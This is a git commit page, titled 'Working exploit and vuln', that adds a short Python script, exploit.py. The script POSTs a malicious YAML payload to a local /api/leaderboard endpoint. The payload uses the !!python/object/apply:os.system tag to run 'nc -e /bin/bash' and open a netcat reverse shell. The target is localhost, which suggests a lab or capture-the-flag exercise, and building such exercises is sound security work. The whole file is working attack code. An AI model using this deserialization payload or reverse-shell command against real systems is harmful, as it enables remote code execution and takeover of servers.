Working exploit and vuln
This commit is contained in:
11
exploit.py
Normal file
11
exploit.py
Normal file
@@ -0,0 +1,11 @@
|
||||
import requests
|
||||
|
||||
malicious_yaml = """
|
||||
!!python/object/apply:os.system ["nc -e /bin/bash 127.0.0.1 1111"]
|
||||
"""
|
||||
url = "http://127.0.0.1:8080/api/leaderboard"
|
||||
headers = {
|
||||
"Content-Type": "text/yaml"
|
||||
}
|
||||
response = requests.post(url, headers=headers, data=malicious_yaml)
|
||||
print(response.text)
|
||||
Reference in New Issue
Block a user